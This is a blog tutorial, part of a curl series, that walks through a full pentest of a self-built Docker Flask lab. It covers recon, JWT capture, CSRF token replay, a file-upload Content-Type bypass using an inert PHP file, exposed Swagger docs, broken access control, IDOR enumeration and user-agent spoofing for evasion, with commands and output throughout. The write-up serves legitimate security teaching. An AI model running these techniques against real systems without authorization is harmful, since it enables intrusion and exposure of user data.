November 23, 2026
Full Chain: Recon to Report with Nothing But curl
Sixteen articles of technique. One article of proof.

By Roshan Rajbanshi
19 min read
Series:_ curl β The Request Engine You Never Learned Properly Article: 15 of 16_
Every article in this series taught a technique. This article runs them all.
Not as a reference. As a flow β the way an actual engagement moves: from first contact with a target, through enumeration and attack, to documented findings. No additional tools. Everything that follows is curl, bash, and jq.
The target is fictional but fully specified β and, unlike earlier articles in this series, actually built and run for this write-up: a real Flask app in Docker, with real vulnerabilities, hit with real curl commands.
Target: flask-app.lab β a Flask web application with:
- JWT-based login with a REST API (HTTP on
:8015, HTTPS on:8443) - A file upload endpoint that validates by Content-Type
- A REST API with an auto-generated Swagger spec (Flasgger, served at
/apispec_1.jsonβ not/swagger, more on that below) - A self-signed TLS certificate
- A single internal admin endpoint at
/api/admin
One honest note before we start: the lab runs on non-privileged ports (8015/8443) instead of 80/443, because that's simpler to stand up in Docker without root juggling β and realistically, you won't always get handed 80/443 on an engagement either. Every command below uses the real ports.
The lab is open source β clone it and follow along in your own terminal: github.com/roshanrajbanshi/curl-article15-lab
git clone https://github.com/roshanrajbanshi/curl-article15-lab.git
cd curl-article15-lab
docker compose up --build -d
echo "127.0.0.1 flask-app.lab" | sudo tee -a /etc/hostsgit clone https://github.com/roshanrajbanshi/curl-article15-lab.git
cd curl-article15-lab
docker compose up --build -d
echo "127.0.0.1 flask-app.lab" | sudo tee -a /etc/hostsPhase 1 β Recon
Before touching any application logic, build the technology profile.
Step 1: Header fingerprint
curl -sI http://flask-app.lab:8015/
HTTP/1.1 200 OK
Server: Werkzeug/3.1.9 Python/3.11.18
Date: Sun, 15 Nov 2026 07:09:14 GMT
Content-Type: application/json
Content-Length: 38
Connection: closecurl -sI http://flask-app.lab:8015/
HTTP/1.1 200 OK
Server: Werkzeug/3.1.9 Python/3.11.18
Date: Sun, 15 Nov 2026 07:09:14 GMT
Content-Type: application/json
Content-Length: 38
Connection: closeRead: the Server header hands us exact version numbers for Werkzeug and Python β straight to a CVE search if you want to go that route. It also confirms this is the Flask development server, not something fronted by gunicorn or nginx β a dev server in what's supposed to be a production-facing app is itself worth a line in your report. Content-Type: application/json confirms this is API-first, not a server-rendered HTML app. No X-Powered-By here β Flask doesn't add one by default.
Step 2: HTTPS port β TLS recon
curl -vk https://flask-app.lab:8443/ 2>&1 | grep -A 15 "Server certificate"
* Server certificate:
* subject: CN=flask-app.lab
* start date: Nov 15 06:45:20 2026 GMT
* expire date: Nov 15 06:45:20 2027 GMT
* issuer: CN=flask-app.lab
* Certificate level 0: Public key type RSA (2048/112 Bits/secBits), signed using sha256WithRSAEncryption
* OpenSSL verify result: 12
* SSL certificate verification failed, continuing anyway!curl -vk https://flask-app.lab:8443/ 2>&1 | grep -A 15 "Server certificate"
* Server certificate:
* subject: CN=flask-app.lab
* start date: Nov 15 06:45:20 2026 GMT
* expire date: Nov 15 06:45:20 2027 GMT
* issuer: CN=flask-app.lab
* Certificate level 0: Public key type RSA (2048/112 Bits/secBits), signed using sha256WithRSAEncryption
* OpenSSL verify result: 12
* SSL certificate verification failed, continuing anyway!
Read the certificate: subject and issuer are identical (CN=flask-app.lab) β that's the definition of self-signed, nobody but the cert vouches for itself. The specific OpenSSL verify result number varies by OpenSSL version and build (it's drawn from OpenSSL's x509_vfy.h error table, which has shifted over releases) β rather than guess at a numeric code from memory, trust the line right below it: SSL certificate verification failed, continuing anyway! is curl telling you it only proceeded because of -k. In a browser, that's the "your connection is not private" click-through warning.
Grab the handshake line separately β it's usually a few lines above "Server certificate" in verbose output, so a second targeted grep is cleaner than widening -A:
curl -vk https://flask-app.lab:8443/ 2>&1 | grep -iE "SSL connection|TLSv|cipher"
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384 / X25519MLKEM768 / RSASSA-PSScurl -vk https://flask-app.lab:8443/ 2>&1 | grep -iE "SSL connection|TLSv|cipher"
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384 / X25519MLKEM768 / RSASSA-PSSTLS 1.3, AES-256-GCM, and a hybrid post-quantum key exchange (X25519MLKEM768 β X25519 combined with ML-KEM-768) β all strong, modern crypto. That's the interesting contrast to flag in your notes: strong transport encryption sitting on top of a trust chain nobody should rely on. Very real-world pattern β internal tools, IoT panels, and dev/staging environments do this constantly.
Step 3: Status code mapping
One zsh gotcha before you run this: don't use path as your loop variable. zsh treats path as a special variable tied to $PATH internally, and reusing it as a loop counter causes silent weirdness. Use p instead β cheap habit, saves a headache.
for p in / /login /register /dashboard /admin /api /api/v1 /swagger /swagger-ui /static /upload; do
CODE=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 "http://flask-app.lab:8015$p")
echo "$CODE $p"
done
200 /
404 /login
404 /register
404 /dashboard
404 /admin
404 /api
404 /api/v1
404 /swagger
404 /swagger-ui
404 /static
405 /uploadfor p in / /login /register /dashboard /admin /api /api/v1 /swagger /swagger-ui /static /upload; do
CODE=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 "http://flask-app.lab:8015$p")
echo "$CODE $p"
done
200 /
404 /login
404 /register
404 /dashboard
404 /admin
404 /api
404 /api/v1
404 /swagger
404 /swagger-ui
404 /static
405 /upload
Generic wordlists are built for typical Flask apps β this app's real routes are different, so most guesses come back 404. The one standout is /upload returning 405 instead of 404: that's Method Not Allowed, meaning the route exists but our default GET isn't the right verb. A 405 is a more valuable signal than a 404 β it confirms a route exists even when you haven't found the right way to hit it yet.
Once you know more about the app (from Swagger, later), a second pass with the real routes tells a much better story:
for p in / /api/v1/login /api/v1/users/me /api/admin /profile /swagger /openapi.json /upload /apispec_1.json; do
CODE=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 "http://flask-app.lab:8015$p")
echo "$CODE $p"
done
200 /
405 /api/v1/login
401 /api/v1/users/me
401 /api/admin
401 /profile
404 /swagger
404 /openapi.json
405 /upload
200 /apispec_1.jsonfor p in / /api/v1/login /api/v1/users/me /api/admin /profile /swagger /openapi.json /upload /apispec_1.json; do
CODE=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 "http://flask-app.lab:8015$p")
echo "$CODE $p"
done
200 /
405 /api/v1/login
401 /api/v1/users/me
401 /api/admin
401 /profile
404 /swagger
404 /openapi.json
405 /upload
200 /apispec_1.jsonThree distinct signals here, worth telling apart:
- 404 β route doesn't exist (
/swagger,/openapi.jsonβ this app doesn't use either path) - 405 β route exists, wrong HTTP method (
/api/v1/login,/uploadβ both POST-only) - 401 β route exists, authentication required (
/api/v1/users/me,/api/admin,/profile)
And /apispec_1.json returning 200 confirms the real Swagger spec location β Flasgger's default, not the generic /swagger or /openapi.json paths a wordlist might assume. Lesson: a Swagger-style doc exists, you just have to find where the specific library actually serves it.
Step 4: VHost probe
for h in flask-app.lab admin.flask-app.lab api.flask-app.lab dev.flask-app.lab; do
CODE=$(curl -sk -o /dev/null -w "%{http_code}" -H "Host: $h" http://flask-app.lab:8015/)
echo "$CODE $h"
done
200 flask-app.lab
200 admin.flask-app.lab
200 api.flask-app.lab
200 dev.flask-app.labfor h in flask-app.lab admin.flask-app.lab api.flask-app.lab dev.flask-app.lab; do
CODE=$(curl -sk -o /dev/null -w "%{http_code}" -H "Host: $h" http://flask-app.lab:8015/)
echo "$CODE $h"
done
200 flask-app.lab
200 admin.flask-app.lab
200 api.flask-app.lab
200 dev.flask-app.labA flat 200 across every Host header is a negative finding, and negative findings still belong in a report. It tells you this app doesn't branch logic based on the Host header at all β expected for a single-app-per-port setup with no reverse proxy in front of it. This check matters most when there IS a shared reverse proxy routing multiple backends by hostname on the same IP; don't skip it just because it often comes back boring β sometimes admin.target.com really is a different app, and this is exactly how you'd catch it.
Phase 2 β Auth Surface Mapping
Step 1: OPTIONS sweep on API endpoints
for p in /api/v1/login /api/v1/users/me /api/admin /upload; do
ALLOW=$(curl -sk -X OPTIONS -i "http://flask-app.lab:8015$p" | grep -i allow)
echo "$p: $ALLOW"
done
/api/v1/login: Allow: POST, OPTIONS
/api/v1/users/me: Allow: HEAD, OPTIONS, GET
/api/admin: Allow: HEAD, OPTIONS, GET
/upload: Allow: POST, OPTIONSfor p in /api/v1/login /api/v1/users/me /api/admin /upload; do
ALLOW=$(curl -sk -X OPTIONS -i "http://flask-app.lab:8015$p" | grep -i allow)
echo "$p: $ALLOW"
done
/api/v1/login: Allow: POST, OPTIONS
/api/v1/users/me: Allow: HEAD, OPTIONS, GET
/api/admin: Allow: HEAD, OPTIONS, GET
/upload: Allow: POST, OPTIONSFlask auto-generates this Allow header for every route, which makes OPTIONS sweeps a cheap way to spot dangerous extra verbs before digging deeper β finding an undocumented PUT or DELETE allowed on an endpoint is a classic "oh no" moment in a real engagement. Nothing exotic shows up here, which is itself worth a line: no unexpected HTTP methods exposed on any tested endpoint.
Step 2: Unauthenticated probe β read the auth challenge
curl -sI http://flask-app.lab:8015/api/v1/users/me
HTTP/1.1 401 UNAUTHORIZED
Server: Werkzeug/3.1.9 Python/3.11.18
Date: Sun, 15 Nov 2026 07:25:29 GMT
Content-Type: application/json
Content-Length: 25
Connection: closecurl -sI http://flask-app.lab:8015/api/v1/users/me
HTTP/1.1 401 UNAUTHORIZED
Server: Werkzeug/3.1.9 Python/3.11.18
Date: Sun, 15 Nov 2026 07:25:29 GMT
Content-Type: application/json
Content-Length: 25
Connection: closeNotice what's missing: no WWW-Authenticate header. Per RFC 7235 a 401 is supposed to carry one, naming the expected auth scheme β but that convention is more of a Basic-Auth-era habit, and a lot of modern JWT/Bearer-token APIs skip it entirely. Confirm the real signal is in the body instead:
curl -s http://flask-app.lab:8015/api/v1/users/me
{"error":"unauthorized"}curl -s http://flask-app.lab:8015/api/v1/users/me
{"error":"unauthorized"}Don't assume the absence of WWW-Authenticate means no auth is required β check the body and whatever documentation (Swagger, in this case) you can find instead.
Step 3: Login and capture the JWT
RESPONSE=$(curl -s \
-X POST \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"admin"}' \
http://flask-app.lab:8015/api/v1/login)
echo $RESPONSE | python3 -m json.tool
TOKEN=$(echo $RESPONSE | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
echo "Token: $TOKEN"
{
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWQiOjEsImlhdCI6MTc5NDcyNzg1My45MTE4MjZ9.CbXuAAi1A07ElSsPZnNBW5aDXAkE6Y0k2oDD57xJMog"
}
Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWQiOjEsImlhdCI6MTc5NDcyNzg1My45MTE4MjZ9.CbXuAAi1A07ElSsPZnNBW5aDXAkE6Y0k2oDD57xJMogRESPONSE=$(curl -s \
-X POST \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"admin"}' \
http://flask-app.lab:8015/api/v1/login)
echo $RESPONSE | python3 -m json.tool
TOKEN=$(echo $RESPONSE | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
echo "Token: $TOKEN"
{
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWQiOjEsImlhdCI6MTc5NDcyNzg1My45MTE4MjZ9.CbXuAAi1A07ElSsPZnNBW5aDXAkE6Y0k2oDD57xJMog"
}
Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWQiOjEsImlhdCI6MTc5NDcyNzg1My45MTE4MjZ9.CbXuAAi1A07ElSsPZnNBW5aDXAkE6Y0k2oDD57xJMogThat's the admin account's token, stashed in $TOKEN for the rest of the session.
Step 4: Decode the JWT payload
echo $TOKEN | cut -d'.' -f2 | base64 -d 2>/dev/null
{"username":"admin","role":"admin","id":1,"iat":1794727853.911826}echo $TOKEN | cut -d'.' -f2 | base64 -d 2>/dev/null
{"username":"admin","role":"admin","id":1,"iat":1794727853.911826}
The 2>/dev/null is there because JWT base64 isn't padded and GNU base64 sometimes complains about it on stderr even when it decodes fine β silence the noise, keep the JSON.
Read the claims like an attacker would: role: admin is the field the server almost certainly checks to decide access β if it can be trusted or forged, that's the whole game. id: 1 ties this token to a specific account. One small oddity: iat carries fractional seconds (1794727853.911826) β most JWT libraries issue iat as a whole-second Unix timestamp, so a float here is a tell about how this particular app built the token (Python's datetime.timestamp() returns a float by default, and whoever wrote this didn't truncate it). Not a vulnerability, just a fingerprint worth noting. And notice what's not here: no exp claim. This token has no expiration β once issued, it's valid forever, with no server-side mechanism for forced session timeout or rotation. That's a real finding on its own, and a genuinely common JWT misconfiguration in the wild.
Step 5: Set up cookie jar for session persistence (if sessions used alongside JWT)
curl -s \
-c jar.txt \
-X POST \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"admin"}' \
http://flask-app.lab:8015/api/v1/login
cat jar.txt
# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.
flask-app.lab FALSE / FALSE 0 session 3352df7298cbf6412540760013082e6ccurl -s \
-c jar.txt \
-X POST \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"admin"}' \
http://flask-app.lab:8015/api/v1/login
cat jar.txt
# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.
flask-app.lab FALSE / FALSE 0 session 3352df7298cbf6412540760013082e6cThis app mixes two auth schemes: JWT Bearer tokens for the /api/* routes, and a session cookie for /profile. Worth tracking both separately rather than assuming one auth mechanism covers the whole app.
Reading the jar format itself: domain, include-subdomains flag, path, secure-only flag, expiry, then name/value. The secure-only flag here is FALSE β this cookie isn't marked Secure, so it would be sent over plain HTTP too, not just HTTPS. Minor finding on its own if this app served both protocols side by side.
Phase 3 β Attack
Attack 1: CSRF token extraction and bypass
# Fetch the profile edit form and extract CSRF token
CSRF=$(curl -sk -b jar.txt http://flask-app.lab:8015/profile | \
grep -oP '(?<=name="csrf_token" value=")[^"]*')
echo "CSRF: $CSRF"
# Submit with CSRF token
curl -sk -b jar.txt \
-d "email=attacker@evil.com&csrf_token=$CSRF" \
http://flask-app.lab:8015/profile/edit
CSRF: csrf_lab_static_8f3ac9
{"email":"attacker@evil.com","status":"updated"}# Fetch the profile edit form and extract CSRF token
CSRF=$(curl -sk -b jar.txt http://flask-app.lab:8015/profile | \
grep -oP '(?<=name="csrf_token" value=")[^"]*')
echo "CSRF: $CSRF"
# Submit with CSRF token
curl -sk -b jar.txt \
-d "email=attacker@evil.com&csrf_token=$CSRF" \
http://flask-app.lab:8015/profile/edit
CSRF: csrf_lab_static_8f3ac9
{"email":"attacker@evil.com","status":"updated"}The attack landed β but extracting and replaying a CSRF token isn't the vulnerability by itself; any legitimate browser does the same thing when it submits a form. The suspicious part is that the token looks static. Don't just assert that from one request β verify it with a second, independent session:
curl -s -c jar2.txt -X POST -H "Content-Type: application/json" \
-d '{"username":"j.doe","password":"password123"}' \
http://flask-app.lab:8015/api/v1/login > /dev/null
CSRF2=$(curl -sk -b jar2.txt http://flask-app.lab:8015/profile | \
grep -oP '(?<=name="csrf_token" value=")[^"]*')
echo "First session's token: $CSRF"
echo "Second session's token: $CSRF2"curl -s -c jar2.txt -X POST -H "Content-Type: application/json" \
-d '{"username":"j.doe","password":"password123"}' \
http://flask-app.lab:8015/api/v1/login > /dev/null
CSRF2=$(curl -sk -b jar2.txt http://flask-app.lab:8015/profile | \
grep -oP '(?<=name="csrf_token" value=")[^"]*')
echo "First session's token: $CSRF"
echo "Second session's token: $CSRF2"If both lines print the identical value, the finding is confirmed β a real CSRF token needs to be unique per session, unpredictable, and tied to the specific user submitting it. Since this one isn't, an attacker who learns the token once β by viewing the public page source, say β could craft a page that auto-submits a forged request on behalf of any logged-in victim. Classic CSRF, trivialized because the "secret" is neither secret nor unique. (If your two tokens come back different, soften this finding to "appears static in this test" and dig further before reporting it as confirmed.)
Attack 2: File upload β Content-Type bypass
# First, test a normal upload to understand the response
echo "test file contents" > test.txt
curl -sk \
-H "Authorization: Bearer $TOKEN" \
-F "file=@test.txt" \
http://flask-app.lab:8015/upload
{"content_type":"text/plain","filename":"test.txt","status":"uploaded"}# First, test a normal upload to understand the response
echo "test file contents" > test.txt
curl -sk \
-H "Authorization: Bearer $TOKEN" \
-F "file=@test.txt" \
http://flask-app.lab:8015/upload
{"content_type":"text/plain","filename":"test.txt","status":"uploaded"}Baseline confirmed β text/plain is accepted. Now the attack: curl lets us set the multipart Content-Type field to anything we want with ;type=, independent of the actual file content or extension.
# Attempt PHP shell upload with spoofed Content-Type
echo '<?php echo "lab demo only - not executed"; ?>' > shell.php
curl -sk \
-H "Authorization: Bearer $TOKEN" \
-F "file=@shell.php;type=image/jpeg" \
http://flask-app.lab:8015/upload
{"content_type":"image/jpeg","filename":"shell.php","status":"uploaded"}# Attempt PHP shell upload with spoofed Content-Type
echo '<?php echo "lab demo only - not executed"; ?>' > shell.php
curl -sk \
-H "Authorization: Bearer $TOKEN" \
-F "file=@shell.php;type=image/jpeg" \
http://flask-app.lab:8015/upload
{"content_type":"image/jpeg","filename":"shell.php","status":"uploaded"}
Bypassed. Look at the mismatch sitting right there in the response: content_type says image/jpeg, filename says shell.php. The app does record the real filename β it's not blind to what you uploaded β it just never validates it. Acceptance is decided entirely by the client-supplied Content-Type header, which is fully attacker-controlled, with no check against the actual extension or the file's magic bytes. In an app that also serves uploaded files from a web-accessible path and executes PHP, this is a direct line to remote code execution.
# Double-extension variant, for completeness
cp shell.php shell.php.jpg
curl -sk \
-H "Authorization: Bearer $TOKEN" \
-F "file=@shell.php.jpg;type=image/jpeg" \
http://flask-app.lab:8015/upload
{"content_type":"image/jpeg","filename":"shell.php.jpg","status":"uploaded"}# Double-extension variant, for completeness
cp shell.php shell.php.jpg
curl -sk \
-H "Authorization: Bearer $TOKEN" \
-F "file=@shell.php.jpg;type=image/jpeg" \
http://flask-app.lab:8015/upload
{"content_type":"image/jpeg","filename":"shell.php.jpg","status":"uploaded"}Same result, same root cause. The double-extension trick is normally a workaround for apps that check the extension but only look at the last segment, or use a naive blacklist. Here it wasn't even necessary β there's no extension check at all. In apps with partial filename filtering, this technique is what makes the difference; here it's just confirmation.
Verify on disk:
docker exec article15-flask-app ls -la /app/uploads/
total 20
drwxr-xr-x 2 root root 4096 Nov 15 07:41 .
drwxr-xr-x 1 root root 4096 Nov 15 06:45 ..
-rw-r--r-- 1 root root 46 Nov 15 07:40 shell.php
-rw-r--r-- 1 root root 46 Nov 15 07:41 shell.php.jpg
-rw-r--r-- 1 root root 19 Nov 15 07:39 test.txtdocker exec article15-flask-app ls -la /app/uploads/
total 20
drwxr-xr-x 2 root root 4096 Nov 15 07:41 .
drwxr-xr-x 1 root root 4096 Nov 15 06:45 ..
-rw-r--r-- 1 root root 46 Nov 15 07:40 shell.php
-rw-r--r-- 1 root root 46 Nov 15 07:41 shell.php.jpg
-rw-r--r-- 1 root root 19 Nov 15 07:39 test.txt
Both .php files saved untouched β proof of concept complete.
One caveat: docker exec is a lab convenience β it only works because we have shell access to the container. On a real engagement you won't have that, so you'd confirm the same thing by fetching the file back over HTTP instead (e.g., curl http://target/uploads/shell.php once you know or guess the storage path), or by other out-of-band signals that the upload actually landed.
Attack 3: Swagger endpoint β full API documentation read
Recall from recon: this app's Swagger library (Flasgger) serves its spec at /apispec_1.json, not the generic /swagger or /openapi.json paths.
curl -sk http://flask-app.lab:8015/apispec_1.json | python3 -m json.tool | head -60
{
"definitions": {},
"info": {
"description": "powered by Flasgger",
"termsOfService": "/tos",
"title": "A swagger API",
"version": "0.0.1"
},
"paths": {
"/api/admin": {
"get": {
"responses": {
"200": {"description": "admin data"},
"401": {"description": "unauthorized"}
},
"summary": "Admin-only data. VULNERABLE: only checks token presence, not role claim."
}
},
"/api/v1/login": {
"post": {
"parameters": [{
"in": "body", "name": "body",
"schema": {"properties": {"password": {"type": "string"}, "username": {"type": "string"}}, "type": "object"}
}],
"responses": {"200": {"description": "JWT token"}, "401": {"description": "Invalid credentials"}},
"summary": "Login with username/password, returns a JWT."
}
},
"/api/v1/users/{uid}": { "...": "..." }
}
}curl -sk http://flask-app.lab:8015/apispec_1.json | python3 -m json.tool | head -60
{
"definitions": {},
"info": {
"description": "powered by Flasgger",
"termsOfService": "/tos",
"title": "A swagger API",
"version": "0.0.1"
},
"paths": {
"/api/admin": {
"get": {
"responses": {
"200": {"description": "admin data"},
"401": {"description": "unauthorized"}
},
"summary": "Admin-only data. VULNERABLE: only checks token presence, not role claim."
}
},
"/api/v1/login": {
"post": {
"parameters": [{
"in": "body", "name": "body",
"schema": {"properties": {"password": {"type": "string"}, "username": {"type": "string"}}, "type": "object"}
}],
"responses": {"200": {"description": "JWT token"}, "401": {"description": "Invalid credentials"}},
"summary": "Login with username/password, returns a JWT."
}
},
"/api/v1/users/{uid}": { "...": "..." }
}
}
Look closely at that /api/admin summary: "Admin-only data. VULNERABLE: only checks token presence, not role claim." Flasgger pulls its summary field straight from the Python docstring β and that line was written as an honest internal note during development, then auto-published to the public API spec with zero filtering. This is a real, common mistake: developers leave TODOs, FIXMEs, and known-issue comments in docstrings, and auto-doc tooling republishes them to anyone who requests the spec. Treat docstrings as public-facing text, not private scratch notes.
Beyond that happy accident, the spec hands over full request/response schemas for every documented route β field names, types, required parameters β a ready-made attack-surface map with no guessing required. That's the core "exposed Swagger" finding.
# Pull all endpoint paths from the spec
curl -sk http://flask-app.lab:8015/apispec_1.json | \
python3 -c "import sys,json; [print(p) for p in json.load(sys.stdin)['paths'].keys()]"
/api/admin
/api/v1/login
/api/v1/users/{uid}
/upload# Pull all endpoint paths from the spec
curl -sk http://flask-app.lab:8015/apispec_1.json | \
python3 -c "import sys,json; [print(p) for p in json.load(sys.stdin)['paths'].keys()]"
/api/admin
/api/v1/login
/api/v1/users/{uid}
/upload({uid} in /api/v1/users/{uid} is just Swagger's notation for a path parameter β substitute a real ID, like 2, when you actually make the request.)
Only 4 routes show up here β but we already know from the manual status-code sweep in Phase 1 that /profile, /profile/edit, and /api/v1/users/me also exist. They're missing from the spec simply because those routes weren't annotated with Flasgger docstrings. The lesson: Swagger/OpenAPI documentation is only as complete as what developers bothered to annotate. A pentester relying solely on the published spec would miss three real routes entirely β manual enumeration (Phase 1) still matters even when a Swagger doc exists.
Attack 4: Admin endpoint access test
# Without auth
curl -sk -o /dev/null -w "%{http_code}\n" http://flask-app.lab:8015/api/admin
401
# With the admin token we already captured
curl -sk \
-H "Authorization: Bearer $TOKEN" \
-o /dev/null -w "%{http_code}\n" \
http://flask-app.lab:8015/api/admin
200# Without auth
curl -sk -o /dev/null -w "%{http_code}\n" http://flask-app.lab:8015/api/admin
401
# With the admin token we already captured
curl -sk \
-H "Authorization: Bearer $TOKEN" \
-o /dev/null -w "%{http_code}\n" \
http://flask-app.lab:8015/api/admin
200Baseline behaves as expected β no auth is blocked, the admin account gets through. That doesn't prove a vulnerability yet, though: an admin accessing admin data is supposed to work. The real test is whether a non-admin token gets the same result. Log in as a regular user and repeat:
USER_RESPONSE=$(curl -s \
-X POST \
-H "Content-Type: application/json" \
-d '{"username":"j.doe","password":"password123"}' \
http://flask-app.lab:8015/api/v1/login)
USER_TOKEN=$(echo $USER_RESPONSE | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
# confirm the role claim
echo $USER_TOKEN | cut -d'.' -f2 | base64 -d 2>/dev/null
echo ""
# hit /api/admin with the regular user token
curl -sk \
-H "Authorization: Bearer $USER_TOKEN" \
http://flask-app.lab:8015/api/admin | python3 -m json.tool
{"username":"j.doe","role":"user","id":2,"iat":1794729064.737042}
{
"all_users": [
{"email": "attacker@evil.com", "id": 1, "username": "admin"},
{"email": "j.doe@flask-app.lab", "id": 2, "username": "j.doe"},
{"email": "m.smith@flask-app.lab", "id": 3, "username": "m.smith"},
{"email": "a.khan@flask-app.lab", "id": 4, "username": "a.khan"}
],
"secret": "internal admin panel data"
}USER_RESPONSE=$(curl -s \
-X POST \
-H "Content-Type: application/json" \
-d '{"username":"j.doe","password":"password123"}' \
http://flask-app.lab:8015/api/v1/login)
USER_TOKEN=$(echo $USER_RESPONSE | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
# confirm the role claim
echo $USER_TOKEN | cut -d'.' -f2 | base64 -d 2>/dev/null
echo ""
# hit /api/admin with the regular user token
curl -sk \
-H "Authorization: Bearer $USER_TOKEN" \
http://flask-app.lab:8015/api/admin | python3 -m json.tool
{"username":"j.doe","role":"user","id":2,"iat":1794729064.737042}
{
"all_users": [
{"email": "attacker@evil.com", "id": 1, "username": "admin"},
{"email": "j.doe@flask-app.lab", "id": 2, "username": "j.doe"},
{"email": "m.smith@flask-app.lab", "id": 3, "username": "m.smith"},
{"email": "a.khan@flask-app.lab", "id": 4, "username": "a.khan"}
],
"secret": "internal admin panel data"
}
Confirmed, with the decoded token sitting right above it as proof: "role":"user". That's not an admin. And yet the full user list and "secret" admin panel data both came back. This is Broken Access Control β OWASP Top 10 #1. The endpoint correctly validates that the JWT is real and properly signed (authentication works fine); it just never checks whether the role claim inside it is actually allowed to be here (authorization is missing). That distinction β logged in vs. allowed β is the single most important concept in access control testing.
Attack 5: IDOR test on user endpoints
Still using $USER_TOKEN (j.doe, a plain role: user account):
# Get the current user's own data
curl -sk -H "Authorization: Bearer $USER_TOKEN" http://flask-app.lab:8015/api/v1/users/me
echo ""
# Try every known user ID
for id in $(seq 1 4); do
echo "--- user id $id ---"
curl -sk -H "Authorization: Bearer $USER_TOKEN" "http://flask-app.lab:8015/api/v1/users/$id"
echo ""
done
{"email":"j.doe@flask-app.lab","id":2,"role":"user","username":"j.doe"}
--- user id 1 ---
{"email":"attacker@evil.com","id":1,"role":"admin","username":"admin"}
--- user id 2 ---
{"email":"j.doe@flask-app.lab","id":2,"role":"user","username":"j.doe"}
--- user id 3 ---
{"email":"m.smith@flask-app.lab","id":3,"role":"user","username":"m.smith"}
--- user id 4 ---
{"email":"a.khan@flask-app.lab","id":4,"role":"user","username":"a.khan"}# Get the current user's own data
curl -sk -H "Authorization: Bearer $USER_TOKEN" http://flask-app.lab:8015/api/v1/users/me
echo ""
# Try every known user ID
for id in $(seq 1 4); do
echo "--- user id $id ---"
curl -sk -H "Authorization: Bearer $USER_TOKEN" "http://flask-app.lab:8015/api/v1/users/$id"
echo ""
done
{"email":"j.doe@flask-app.lab","id":2,"role":"user","username":"j.doe"}
--- user id 1 ---
{"email":"attacker@evil.com","id":1,"role":"admin","username":"admin"}
--- user id 2 ---
{"email":"j.doe@flask-app.lab","id":2,"role":"user","username":"j.doe"}
--- user id 3 ---
{"email":"m.smith@flask-app.lab","id":3,"role":"user","username":"m.smith"}
--- user id 4 ---
{"email":"a.khan@flask-app.lab","id":4,"role":"user","username":"a.khan"}
(seq is a GNU coreutils tool β fine on Kali, but if you're ever working from a minimal shell like Alpine or BusyBox where it's missing, for id in 1 2 3 4; do ... done does the same job without it.)
Textbook IDOR. j.doe's own account is ID 2 β everything else is a different user's full record. Logged in as a plain user, we just enumerated every single account in the system, including the admin's role and email, with nothing more exotic than a seq 1 4 loop. The endpoint checks "do you have a valid token?" but never checks "does this record belong to you?" β that gap between authentication and ownership verification is the definition of Insecure Direct Object Reference.
Phase 4 β Evasion
Apply a balanced stealth profile for all subsequent testing β as a shell function, not an eval'd flag string. Inline-evaling a string of shell flags is fragile (quoting breaks easily, and it's harder to debug when it does); a function is cleaner and just as fast to type:
scurl() {
curl \
-A "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0" \
-H "Accept: */*" \
-H "Accept-Language: en-US,en;q=0.5" \
"$@"
}
scurl -sk http://flask-app.lab:8015/api/v1/users/me -H "Authorization: Bearer $USER_TOKEN"
{"email":"j.doe@flask-app.lab","id":2,"role":"user","username":"j.doe"}scurl() {
curl \
-A "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0" \
-H "Accept: */*" \
-H "Accept-Language: en-US,en;q=0.5" \
"$@"
}
scurl -sk http://flask-app.lab:8015/api/v1/users/me -H "Authorization: Bearer $USER_TOKEN"
{"email":"j.doe@flask-app.lab","id":2,"role":"user","username":"j.doe"}Same data as before, now wrapped in browser-like headers instead of curl's default fingerprint. Confirm it's actually sending what we claim:
scurl -skv http://flask-app.lab:8015/api/v1/users/me -H "Authorization: Bearer $USER_TOKEN" 2>&1 | grep -E "^> "
> GET /api/v1/users/me HTTP/1.1
> Host: flask-app.lab:8015
> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
> Accept: */*
> Accept-Language: en-US,en;q=0.5
> Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...scurl -skv http://flask-app.lab:8015/api/v1/users/me -H "Authorization: Bearer $USER_TOKEN" 2>&1 | grep -E "^> "
> GET /api/v1/users/me HTTP/1.1
> Host: flask-app.lab:8015
> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
> Accept: */*
> Accept-Language: en-US,en;q=0.5
> Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
